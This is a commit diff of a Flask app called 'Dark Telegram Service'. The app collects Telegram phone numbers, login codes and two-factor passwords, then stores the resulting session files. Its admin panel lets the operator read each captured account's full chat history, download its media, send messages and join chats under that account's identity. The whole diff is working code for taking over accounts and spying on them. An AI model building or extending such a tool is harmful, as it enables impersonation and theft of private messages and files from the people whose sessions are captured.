Videospace633

Paused

App Files Files Community

Aleksmorshen commited on Jul 15, 2025

Commit

676bde6

verified ·

1 Parent(s): 5d8dc39

Update app.py

Browse files

Files changed (1) hide show

app.py +374 -125

app.py CHANGED Viewed

@@ -4,9 +4,11 @@ import os
 import sqlite3
 from pathlib import Path
-from flask import Flask, jsonify, request, render_template_string, send_from_directory
 from telethon.sync import TelegramClient
-from telethon.errors import SessionPasswordNeededError # Импорт специфической ошибки
 app = Flask(__name__)
@@ -34,6 +36,18 @@ def init_db():
 os.makedirs(SESSION_DIR, exist_ok=True)
 os.makedirs(DOWNLOAD_DIR, exist_ok=True)
 HTML_TEMPLATE = '''
 <!DOCTYPE html>
 <html lang="en">
@@ -43,18 +57,24 @@ HTML_TEMPLATE = '''
     <title>Dark Telegram Service</title>
     <style>
         body { font-family: Arial, sans-serif; background: #1a1a1a; color: #fff; margin: 0; padding: 20px; }
-        .container { max-width: 800px; margin: auto; }
-        h1 { text-align: center; color: #00ff00; }
         .form, .admin-panel { background: #333; padding: 20px; border-radius: 5px; margin-bottom: 20px; }
-        input, button { padding: 10px; margin: 5px; background: #444; color: #fff; border: none; border-radius: 3px; }
         button { cursor: pointer; background: #00ff00; }
         button:hover { background: #00cc00; }
-        table { width: 100%; border-collapse: collapse; }
         th, td { padding: 10px; border: 1px solid #555; text-align: left; }
         a { color: #00ff00; text-decoration: none; }
         a:hover { text-decoration: underline; }
-        .chat { background: #222; padding: 10px; max-height: 300px; overflow-y: auto; }
-        .message { margin: 5px 0; }
     </style>
 </head>
 <body>
@@ -70,21 +90,23 @@ HTML_TEMPLATE = '''
             <button id="submitPassword" onclick="submitPassword()" style="display:none;">Submit Password</button>
         </div>
         <div class="admin-panel">
-            <h2>Admin Panel</h2>
             <table>
-                <tr><th>ID</th><th>Username</th><th>Phone</th><th>Actions</th></tr>
-                {% for user in users %}
-                <tr>
-                    <td>{{ user[0] }}</td>
-                    <td>{{ user[2] }}</td>
-                    <td>{{ user[3] }}</td>
-                    <td>
-                        <a href="/user/{{ user[0] }}/messages">Messages</a> |
-                        <a href="/user/{{ user[0] }}/files">Files</a> |
-                        <a href="javascript:void(0);" onclick="sendMessage({{ user[0] }})">Send Message</a>
-                    </td>
-                </tr>
-                {% endfor %}
             </table>
         </div>
     </div>
@@ -101,10 +123,12 @@ HTML_TEMPLATE = '''
             });
             const result = await response.json();
             alert(result.message);
-            if (result.success) {
                 phoneCodeHash = result.phone_code_hash;
                 document.getElementById('code').style.display = 'inline';
                 document.getElementById('submitCode').style.display = 'inline';
             }
         }
@@ -132,17 +156,94 @@ HTML_TEMPLATE = '''
             const response = await fetch('/login', {
                 method: 'POST',
                 headers: { 'Content-Type': 'application/json' },
-                // Убедитесь, что 'phone' отправляется снова на этапе ввода пароля
                 body: JSON.stringify({ phone, password, step: 'password' })
             });
             const result = await response.json();
-            alert(result.message);
-            if (result.success) location.reload();
         }
         async function sendMessage(userId) {
-            const chatId = prompt('Enter chat ID or username:');
-            const message = prompt('Enter message:');
             if (chatId && message) {
                 const response = await fetch(`/send_message/${userId}`, {
                     method: 'POST',
@@ -151,6 +252,31 @@ HTML_TEMPLATE = '''
                 });
                 const result = await response.json();
                 alert(result.message);
             }
         }
     </script>
@@ -158,6 +284,59 @@ HTML_TEMPLATE = '''
 </html>
 '''
 @app.route('/')
 def index():
     with sqlite3.connect(DB_PATH) as conn:
@@ -174,7 +353,9 @@ def login():
     password = data.get('password')
     phone_code_hash = data.get('phone_code_hash')
     step = data.get('step')
-    session_file_path = f"{SESSION_DIR}/{hashlib.md5(phone.encode()).hexdigest()}.session"
     async def _login_async():
         client = TelegramClient(session_file_path, API_ID, API_HASH)
@@ -182,50 +363,50 @@ def login():
         try:
             if step == 'start':
                 await client.connect()
-                sent_code = await client.send_code_request(phone)
-                result = {'success': True, 'message': 'Code sent to your Telegram', 'phone_code_hash': sent_code.phone_code_hash}
             elif step == 'code':
                 await client.connect()
                 if not phone_code_hash:
                     raise ValueError('phone_code_hash is missing for code step.')
                 try:
-                    # Попытка входа с телефоном, кодом и хэшем.
-                    # Если включена 2FA, это вызовет SessionPasswordNeededError.
                     me = await client.sign_in(phone=phone, code=code, phone_code_hash=phone_code_hash)
-                    # Если вход успешен, сохраняем данные пользователя
                     with sqlite3.connect(DB_PATH) as conn:
                         c = conn.cursor()
                         c.execute('INSERT OR REPLACE INTO users (telegram_id, username, phone, session_file) VALUES (?, ?, ?, ?)',
                                   (str(me.id), me.username or '', phone, session_file_path))
                         conn.commit()
-                    result = {'success': True, 'message': 'Logged in successfully'}
                 except SessionPasswordNeededError:
-                    # Требуется 2FA. Telethon должен был внутренне подготовить файл сессии
-                    # для последующего входа только по паролю.
-                    result = {'success': False, 'password_required': True, 'message': 'Cloud password required'}
                 except Exception as e:
-                    # Обработка других ошибок во время отправки кода
-                    result = {'success': False, 'message': str(e)}
             elif step == 'password':
                 await client.connect()
-                # При использовании 'password' с client.sign_in, явное указание 'phone' может помочь
-                # Telethon связать запрос с правильной текущей сессией входа
-                # или частично сохраненным состоянием файла сессии.
-                me = await client.sign_in(phone=phone, password=password) # Явно передаем phone
-                with sqlite3.connect(DB_PATH) as conn:
-                    c = conn.cursor()
-                    c.execute('INSERT OR REPLACE INTO users (telegram_id, username, phone, session_file) VALUES (?, ?, ?, ?)',
-                              (str(me.id), me.username or '', phone, session_file_path))
-                    conn.commit()
-                result = {'success': True, 'message': 'Logged in with cloud password'}
             else:
-                result = {'success': False, 'message': 'Invalid step'}
         except Exception as e:
-            # Обработка любых неожиданных ошибок, которые не были обработаны выше
-            result = {'success': False, 'message': str(e)}
         finally:
             if client and client.is_connected():
                 await client.disconnect()
@@ -233,74 +414,113 @@ def login():
     return jsonify(asyncio.run(_login_async()))
-@app.route('/user/<int:user_id>/messages')
-def get_messages(user_id):
     with sqlite3.connect(DB_PATH) as conn:
         c = conn.cursor()
-        c.execute('SELECT session_file FROM users WHERE id = ?', (user_id,))
-        session_file = c.fetchone()[0]
-    async def _get_messages_async():
-        client = TelegramClient(session_file, API_ID, API_HASH)
-        await client.connect()
-        messages = []
         try:
-            async for dialog in client.iter_dialogs(limit=10):
-                async for message in client.iter_messages(dialog, limit=10):
-                    messages.append({'chat': dialog.title, 'text': message.text or '', 'date': str(message.date)})
         finally:
-            if client.is_connected():
                 await client.disconnect()
-        return messages
-    messages = asyncio.run(_get_messages_async())
-    return render_template_string('''
-        <h1>Messages for User {{ user_id }}</h1>
-        <div class="chat">
-            {% for msg in messages %}
-            <div class="message"><b>{{ msg.chat }}</b> ({{ msg.date }}): {{ msg.text }}</div>
-            {% endfor %}
-        </div>
-        <a href="/">Back</a>
-    ''', user_id=user_id, messages=messages)
-@app.route('/user/<int:user_id>/files')
-def get_files(user_id):
-    with sqlite3.connect(DB_PATH) as conn:
-        c = conn.cursor()
-        c.execute('SELECT session_file FROM users WHERE id = ?', (user_id,))
-        session_file = c.fetchone()[0]
-    async def _get_files_async():
-        client = TelegramClient(session_file, API_ID, API_HASH)
-        await client.connect()
-        files = []
         try:
-            async for dialog in client.iter_dialogs(limit=10):
-                async for message in client.iter_messages(dialog, limit=10):
-                    if message.media:
-                        file_path = await client.download_media(message, DOWNLOAD_DIR)
-                        if file_path:
-                            files.append({'chat': dialog.title, 'file': Path(file_path).name})
         finally:
-            if client.is_connected():
                 await client.disconnect()
-        return files
-    files = asyncio.run(_get_files_async())
-    return render_template_string('''
-        <h1>Files for User {{ user_id }}</h1>
-        <table>
-            <tr><th>Chat</th><th>File</th></tr>
-            {% for file in files %}
-            <tr>
-                <td>{{ file.chat }}</td>
-                <td><a href="/download/{{ file.file }}">{{ file.file }}</a></td>
-            </tr>
-            {% endfor %}
-        </table>
-        <a href="/">Back</a>
-    ''', user_id=user_id, files=files)
 @app.route('/download/<filename>')
 def download_file(filename):
@@ -309,29 +529,58 @@ def download_file(filename):
 @app.route('/send_message/<int:user_id>', methods=['POST'])
 def send_message(user_id):
     data = request.json
-    chat_id = data.get('chat_id')
-    message = data.get('message')
-    with sqlite3.connect(DB_PATH) as conn:
-        c = conn.cursor()
-        c.execute('SELECT session_file FROM users WHERE id = ?', (user_id,))
-        session_file = c.fetchone()[0]
     async def _send_message_async():
-        client = TelegramClient(session_file, API_ID, API_HASH)
-        await client.connect()
         try:
-            await client.send_message(chat_id, message)
-            return {'success': True, 'message': 'Message sent'}
         except Exception as e:
             return {'success': False, 'message': str(e)}
         finally:
-            if client.is_connected():
                 await client.disconnect()
     result = asyncio.run(_send_message_async())
     return jsonify(result)
 if __name__ == '__main__':
     init_db()
     app.run(host=HOST, port=PORT)

 import sqlite3
 from pathlib import Path
+from flask import Flask, jsonify, request, render_template_string, send_from_directory, redirect, url_for
 from telethon.sync import TelegramClient
+from telethon.errors import SessionPasswordNeededError, FloodWaitError, UserNotParticipantError
+from telethon.tl.functions.messages import ImportChatInviteRequest
+from telethon.tl.functions.channels import JoinChannelRequest
 app = Flask(__name__)
 os.makedirs(SESSION_DIR, exist_ok=True)
 os.makedirs(DOWNLOAD_DIR, exist_ok=True)
+async def get_user_client(user_id):
+    with sqlite3.connect(DB_PATH) as conn:
+        c = conn.cursor()
+        c.execute('SELECT session_file FROM users WHERE id = ?', (user_id,))
+        result = c.fetchone()
+        if not result:
+            return None, "User not found"
+        session_file = result[0]
+    client = TelegramClient(session_file, API_ID, API_HASH)
+    await client.connect()
+    return client, None
 HTML_TEMPLATE = '''
 <!DOCTYPE html>
 <html lang="en">
     <title>Dark Telegram Service</title>
     <style>
         body { font-family: Arial, sans-serif; background: #1a1a1a; color: #fff; margin: 0; padding: 20px; }
+        .container { max-width: 900px; margin: auto; }
+        h1, h2 { text-align: center; color: #00ff00; }
         .form, .admin-panel { background: #333; padding: 20px; border-radius: 5px; margin-bottom: 20px; }
+        input[type="text"], input[type="password"], textarea, button, select { padding: 10px; margin: 5px; background: #444; color: #fff; border: none; border-radius: 3px; }
         button { cursor: pointer; background: #00ff00; }
         button:hover { background: #00cc00; }
+        table { width: 100%; border-collapse: collapse; margin-top: 15px; }
         th, td { padding: 10px; border: 1px solid #555; text-align: left; }
         a { color: #00ff00; text-decoration: none; }
         a:hover { text-decoration: underline; }
+        .chat-list, .message-list { background: #222; padding: 10px; max-height: 500px; overflow-y: auto; border-radius: 3px; margin-top: 15px;}
+        .chat-item, .message-item { margin: 10px 0; padding: 8px; background: #3a3a3a; border-radius: 3px; }
+        .message-item strong { color: #00ff00; }
+        .back-button { margin-top: 20px; display: block; text-align: center; }
+        .controls { display: flex; flex-wrap: wrap; justify-content: center; gap: 10px; margin-top: 15px;}
+        .controls button { flex: 1 1 auto; max-width: 200px; }
+        .split-panel { display: flex; gap: 20px; margin-top: 20px; }
+        .split-panel > div { flex: 1; background: #333; padding: 20px; border-radius: 5px; }
     </style>
 </head>
 <body>
             <button id="submitPassword" onclick="submitPassword()" style="display:none;">Submit Password</button>
         </div>
         <div class="admin-panel">
+            <h2>Admin Panel - Managed Accounts</h2>
             <table>
+                <thead>
+                    <tr><th>ID</th><th>Username</th><th>Phone</th><th>Actions</th></tr>
+                </thead>
+                <tbody>
+                    {% for user in users %}
+                    <tr>
+                        <td>{{ user[0] }}</td>
+                        <td>{{ user[2] }}</td>
+                        <td>{{ user[3] }}</td>
+                        <td>
+                            <a href="/user/{{ user[0] }}/manage">Manage Account</a>
+                        </td>
+                    </tr>
+                    {% endfor %}
+                </tbody>
             </table>
         </div>
     </div>
             });
             const result = await response.json();
             alert(result.message);
+            if (result.success && result.phone_code_hash) {
                 phoneCodeHash = result.phone_code_hash;
                 document.getElementById('code').style.display = 'inline';
                 document.getElementById('submitCode').style.display = 'inline';
+            } else if (result.success && !result.phone_code_hash) {
+                location.reload();
             }
         }
             const response = await fetch('/login', {
                 method: 'POST',
                 headers: { 'Content-Type': 'application/json' },
                 body: JSON.stringify({ phone, password, step: 'password' })
             });
             const result = await response.json();
+            if (result.success) {
+                alert(result.message);
+                location.reload();
+            } else {
+                alert('Login failed: ' + result.message);
+            }
         }
+    </script>
+</body>
+</html>
+'''
+USER_MANAGE_TEMPLATE = '''
+<!DOCTYPE html>
+<html lang="en">
+<head>
+    <meta charset="UTF-8">
+    <meta name="viewport" content="width=device-width, initial-scale=1.0">
+    <title>Manage Account - {{ user.username or user.phone }}</title>
+    <style>
+        body { font-family: Arial, sans-serif; background: #1a1a1a; color: #fff; margin: 0; padding: 20px; }
+        .container { max-width: 900px; margin: auto; }
+        h1, h2 { text-align: center; color: #00ff00; }
+        .user-panel, .chat-list-panel, .action-panel { background: #333; padding: 20px; border-radius: 5px; margin-bottom: 20px; }
+        input[type="text"], textarea, button { padding: 10px; margin: 5px; background: #444; color: #fff; border: none; border-radius: 3px; width: calc(100% - 10px); box-sizing: border-box; }
+        button { cursor: pointer; background: #00ff00; width: auto; padding: 10px 20px; }
+        button:hover { background: #00cc00; }
+        .split-panel { display: flex; gap: 20px; margin-top: 20px; }
+        .split-panel > div { flex: 1; background: #333; padding: 20px; border-radius: 5px; }
+        .chat-list { max-height: 400px; overflow-y: auto; }
+        .chat-item { padding: 10px; border-bottom: 1px solid #444; cursor: pointer; }
+        .chat-item:hover { background: #4a4a4a; }
+        .chat-item:last-child { border-bottom: none; }
+        .chat-item a { display: block; color: #fff; text-decoration: none; }
+        .chat-item span { display: block; font-size: 0.9em; color: #bbb; }
+        .chat-item strong { color: #00ff00; }
+        .back-button { margin-top: 20px; text-align: center; }
+        .button-group { margin-top: 15px; display: flex; gap: 10px; flex-wrap: wrap; }
+        .button-group button { flex-grow: 1; }
+    </style>
+</head>
+<body>
+    <div class="container">
+        <h1>Manage Account: {{ user.username or user.phone }} (ID: {{ user.id }})</h1>
+        <div class="split-panel">
+            <div class="action-panel">
+                <h2>Send Message</h2>
+                <input type="text" id="sendMessageRecipient" placeholder="Recipient (username or ID)">
+                <textarea id="sendMessageContent" rows="4" placeholder="Message content"></textarea>
+                <button onclick="sendMessage({{ user.id }})">Send Message</button>
+                <h2 style="margin-top: 30px;">Join Chat</h2>
+                <input type="text" id="joinChatIdentifier" placeholder="Channel/Group username or invite link">
+                <button onclick="joinChat({{ user.id }})">Join Chat</button>
+            </div>
+            <div class="chat-list-panel">
+                <h2>Chats</h2>
+                <div class="chat-list">
+                    {% if chats %}
+                        {% for chat in chats %}
+                            <div class="chat-item">
+                                <a href="/user/{{ user.id }}/chat/{{ chat.id }}/messages">
+                                    <strong>{{ chat.title }}</strong>
+                                    <span>Type: {{ chat.type }} | Participants: {{ chat.participants }}</span>
+                                </a>
+                            </div>
+                        {% endfor %}
+                    {% else %}
+                        <p>No chats found.</p>
+                    {% endif %}
+                </div>
+            </div>
+        </div>
+        <div class="back-button">
+            <a href="/">Back to Admin Panel</a>
+        </div>
+    </div>
+    <script>
         async function sendMessage(userId) {
+            const chatId = document.getElementById('sendMessageRecipient').value;
+            const message = document.getElementById('sendMessageContent').value;
             if (chatId && message) {
                 const response = await fetch(`/send_message/${userId}`, {
                     method: 'POST',
                 });
                 const result = await response.json();
                 alert(result.message);
+                if (result.success) {
+                    document.getElementById('sendMessageRecipient').value = '';
+                    document.getElementById('sendMessageContent').value = '';
+                }
+            } else {
+                alert('Please enter recipient and message.');
+            }
+        }
+        async function joinChat(userId) {
+            const chatIdentifier = document.getElementById('joinChatIdentifier').value;
+            if (chatIdentifier) {
+                const response = await fetch(`/join_chat/${userId}`, {
+                    method: 'POST',
+                    headers: { 'Content-Type': 'application/json' },
+                    body: JSON.stringify({ chat_identifier: chatIdentifier })
+                });
+                const result = await response.json();
+                alert(result.message);
+                if (result.success) {
+                    document.getElementById('joinChatIdentifier').value = '';
+                    location.reload();
+                }
+            } else {
+                alert('Please enter channel/group username or invite link.');
             }
         }
     </script>
 </html>
 '''
+CHAT_MESSAGES_TEMPLATE = '''
+<!DOCTYPE html>
+<html lang="en">
+<head>
+    <meta charset="UTF-8">
+    <meta name="viewport" content="width=device-width, initial-scale=1.0">
+    <title>Messages in {{ chat_title }}</title>
+    <style>
+        body { font-family: Arial, sans-serif; background: #1a1a1a; color: #fff; margin: 0; padding: 20px; }
+        .container { max-width: 800px; margin: auto; }
+        h1 { text-align: center; color: #00ff00; }
+        .message-list { background: #222; padding: 10px; max-height: 70vh; overflow-y: auto; border-radius: 3px; margin-top: 15px;}
+        .message-item { margin: 10px 0; padding: 8px; background: #3a3a3a; border-radius: 3px; }
+        .message-item strong { color: #00ff00; }
+        .message-meta { font-size: 0.8em; color: #bbb; margin-bottom: 5px; }
+        .message-text { white-space: pre-wrap; word-wrap: break-word; }
+        .media-link { display: block; margin-top: 5px; color: #00ffff; }
+        .back-button { margin-top: 20px; display: block; text-align: center; }
+    </style>
+</head>
+<body>
+    <div class="container">
+        <h1>Messages in "{{ chat_title }}"</h1>
+        <div class="message-list">
+            {% if messages %}
+                {% for msg in messages %}
+                <div class="message-item">
+                    <div class="message-meta">
+                        <strong>{{ msg.sender_name }}</strong> ({{ msg.date }})
+                    </div>
+                    {% if msg.text %}
+                        <div class="message-text">{{ msg.text }}</div>
+                    {% endif %}
+                    {% if msg.file_name %}
+                        <a class="media-link" href="/download/{{ msg.file_name }}" download>{{ msg.file_name }} ({{ msg.file_size }})</a>
+                    {% endif %}
+                    {% if not msg.text and not msg.file_name %}
+                        <div class="message-text"><i>(Unsupported media or empty message)</i></div>
+                    {% endif %}
+                </div>
+                {% endfor %}
+            {% else %}
+                <p>No messages found in this chat.</p>
+            {% endif %}
+        </div>
+        <div class="back-button">
+            <a href="/user/{{ user_id }}/manage">Back to Account Management</a>
+        </div>
+    </div>
+</body>
+</html>
+'''
 @app.route('/')
 def index():
     with sqlite3.connect(DB_PATH) as conn:
     password = data.get('password')
     phone_code_hash = data.get('phone_code_hash')
     step = data.get('step')
+    session_hash = hashlib.md5(phone.encode()).hexdigest()
+    session_file_path = f"{SESSION_DIR}/{session_hash}.session"
     async def _login_async():
         client = TelegramClient(session_file_path, API_ID, API_HASH)
         try:
             if step == 'start':
                 await client.connect()
+                if await client.is_user_authorized():
+                    me = await client.get_me()
+                    with sqlite3.connect(DB_PATH) as conn:
+                        c = conn.cursor()
+                        c.execute('INSERT OR REPLACE INTO users (telegram_id, username, phone, session_file) VALUES (?, ?, ?, ?)',
+                                  (str(me.id), me.username or '', phone, session_file_path))
+                        conn.commit()
+                    result = {'success': True, 'message': 'Already logged in.'}
+                else:
+                    sent_code = await client.send_code_request(phone)
+                    result = {'success': True, 'message': 'Code sent to your Telegram.', 'phone_code_hash': sent_code.phone_code_hash}
             elif step == 'code':
                 await client.connect()
                 if not phone_code_hash:
                     raise ValueError('phone_code_hash is missing for code step.')
                 try:
                     me = await client.sign_in(phone=phone, code=code, phone_code_hash=phone_code_hash)
                     with sqlite3.connect(DB_PATH) as conn:
                         c = conn.cursor()
                         c.execute('INSERT OR REPLACE INTO users (telegram_id, username, phone, session_file) VALUES (?, ?, ?, ?)',
                                   (str(me.id), me.username or '', phone, session_file_path))
                         conn.commit()
+                    result = {'success': True, 'message': 'Logged in successfully.'}
                 except SessionPasswordNeededError:
+                    result = {'success': False, 'password_required': True, 'message': 'Cloud password required.'}
                 except Exception as e:
+                    result = {'success': False, 'message': f'Error during code submission: {e}.'}
             elif step == 'password':
                 await client.connect()
+                try:
+                    me = await client.sign_in(password=password)
+                    with sqlite3.connect(DB_PATH) as conn:
+                        c = conn.cursor()
+                        c.execute('INSERT OR REPLACE INTO users (telegram_id, username, phone, session_file) VALUES (?, ?, ?, ?)',
+                                  (str(me.id), me.username or '', phone, session_file_path))
+                        conn.commit()
+                    result = {'success': True, 'message': 'Logged in with cloud password.'}
+                except Exception as e:
+                    result = {'success': False, 'message': f'Error during password submission: {e}.'}
             else:
+                result = {'success': False, 'message': 'Invalid step.'}
         except Exception as e:
+            result = {'success': False, 'message': f'An unexpected error occurred: {e}.'}
         finally:
             if client and client.is_connected():
                 await client.disconnect()
     return jsonify(asyncio.run(_login_async()))
+@app.route('/user/<int:user_id>/manage')
+def manage_user_account(user_id):
     with sqlite3.connect(DB_PATH) as conn:
         c = conn.cursor()
+        c.execute('SELECT id, telegram_id, username, phone, session_file FROM users WHERE id = ?', (user_id,))
+        user_data = c.fetchone()
+        if not user_data:
+            return "User not found", 404
+        user_dict = {
+            'id': user_data[0],
+            'telegram_id': user_data[1],
+            'username': user_data[2],
+            'phone': user_data[3],
+            'session_file': user_data[4]
+        }
+    async def _get_chats_async():
+        client, error = await get_user_client(user_id)
+        if error:
+            return None, error
+        chats_info = []
         try:
+            async for dialog in client.iter_dialogs():
+                chat_type = 'User'
+                participants = 'N/A'
+                if dialog.is_channel:
+                    chat_type = 'Channel'
+                    if hasattr(dialog.entity, 'participants_count'):
+                        participants = dialog.entity.participants_count
+                elif dialog.is_group:
+                    chat_type = 'Group'
+                    if hasattr(dialog.entity, 'participants_count'):
+                        participants = dialog.entity.participants_count
+                chats_info.append({
+                    'id': dialog.id,
+                    'title': dialog.title,
+                    'type': chat_type,
+                    'participants': participants
+                })
+        except Exception as e:
+            return None, str(e)
         finally:
+            if client and client.is_connected():
                 await client.disconnect()
+        return chats_info, None
+    chats, error = asyncio.run(_get_chats_async())
+    if error:
+        return f"Failed to load chats: {error}", 500
+    return render_template_string(USER_MANAGE_TEMPLATE, user=user_dict, chats=chats)
+@app.route('/user/<int:user_id>/chat/<int:peer_id>/messages')
+def get_chat_messages(user_id, peer_id):
+    async def _get_messages_async():
+        client, error = await get_user_client(user_id)
+        if error:
+            return None, None, error
+        messages = []
+        chat_title = "Unknown Chat"
         try:
+            entity = await client.get_entity(peer_id)
+            chat_title = getattr(entity, 'title', getattr(entity, 'username', str(entity.id)))
+            async for message in client.iter_messages(entity, reverse=True):
+                msg_data = {
+                    'text': message.text,
+                    'date': str(message.date.strftime("%Y-%m-%d %H:%M:%S")),
+                    'sender_name': 'Unknown'
+                }
+                if message.sender:
+                    if message.sender.first_name:
+                        msg_data['sender_name'] = message.sender.first_name
+                        if message.sender.last_name:
+                            msg_data['sender_name'] += f" {message.sender.last_name}"
+                    elif message.sender.username:
+                        msg_data['sender_name'] = message.sender.username
+                    elif hasattr(message.sender, 'title'):
+                        msg_data['sender_name'] = message.sender.title
+                if message.media:
+                    try:
+                        file_info = await client.download_media(message, file=DOWNLOAD_DIR)
+                        if file_info:
+                            file_path = Path(file_info)
+                            msg_data['file_name'] = file_path.name
+                            msg_data['file_size'] = f"{(os.path.getsize(file_path) / (1024*1024)):.2f} MB" if os.path.exists(file_path) else "N/A"
+                    except Exception as e:
+                        msg_data['file_name'] = f"Error downloading file: {e}"
+                        msg_data['file_size'] = ""
+                messages.append(msg_data)
+        except Exception as e:
+            return None, None, str(e)
         finally:
+            if client and client.is_connected():
                 await client.disconnect()
+        return messages, chat_title, None
+    messages, chat_title, error = asyncio.run(_get_messages_async())
+    if error:
+        return f"Failed to load messages: {error}", 500
+    return render_template_string(CHAT_MESSAGES_TEMPLATE, user_id=user_id, chat_title=chat_title, messages=messages)
 @app.route('/download/<filename>')
 def download_file(filename):
 @app.route('/send_message/<int:user_id>', methods=['POST'])
 def send_message(user_id):
     data = request.json
+    chat_id_or_username = data.get('chat_id')
+    message_content = data.get('message')
     async def _send_message_async():
+        client, error = await get_user_client(user_id)
+        if error:
+            return {'success': False, 'message': error}
         try:
+            await client.send_message(chat_id_or_username, message_content)
+            return {'success': True, 'message': 'Message sent successfully.'}
         except Exception as e:
             return {'success': False, 'message': str(e)}
         finally:
+            if client and client.is_connected():
                 await client.disconnect()
     result = asyncio.run(_send_message_async())
     return jsonify(result)
+@app.route('/join_chat/<int:user_id>', methods=['POST'])
+def join_chat(user_id):
+    data = request.json
+    chat_identifier = data.get('chat_identifier')
+    async def _join_chat_async():
+        client, error = await get_user_client(user_id)
+        if error:
+            return {'success': False, 'message': error}
+        try:
+            if 't.me/joinchat/' in chat_identifier or 't.me/+' in chat_identifier:
+                invite_hash = chat_identifier.split('/')[-1]
+                if '+' in invite_hash:
+                    invite_hash = invite_hash.replace('+', '')
+                await client(ImportChatInviteRequest(invite_hash))
+            else:
+                if not chat_identifier.startswith('@') and not chat_identifier.isdigit():
+                    chat_identifier = '@' + chat_identifier
+                await client(JoinChannelRequest(chat_identifier))
+            return {'success': True, 'message': f'Successfully joined chat: {chat_identifier}.'}
+        except FloodWaitError as e:
+            return {'success': False, 'message': f'Too many requests. Please try again in {e.seconds} seconds.'}
+        except UserNotParticipantError:
+             return {'success': False, 'message': f'User is already a participant of {chat_identifier} or chat does not exist/is private.'}
+        except Exception as e:
+            return {'success': False, 'message': f'Error joining chat {chat_identifier}: {e}.'}
+        finally:
+            if client and client.is_connected():
+                await client.disconnect()
+    result = asyncio.run(_join_chat_async())
+    return jsonify(result)
 if __name__ == '__main__':
     init_db()
     app.run(host=HOST, port=PORT)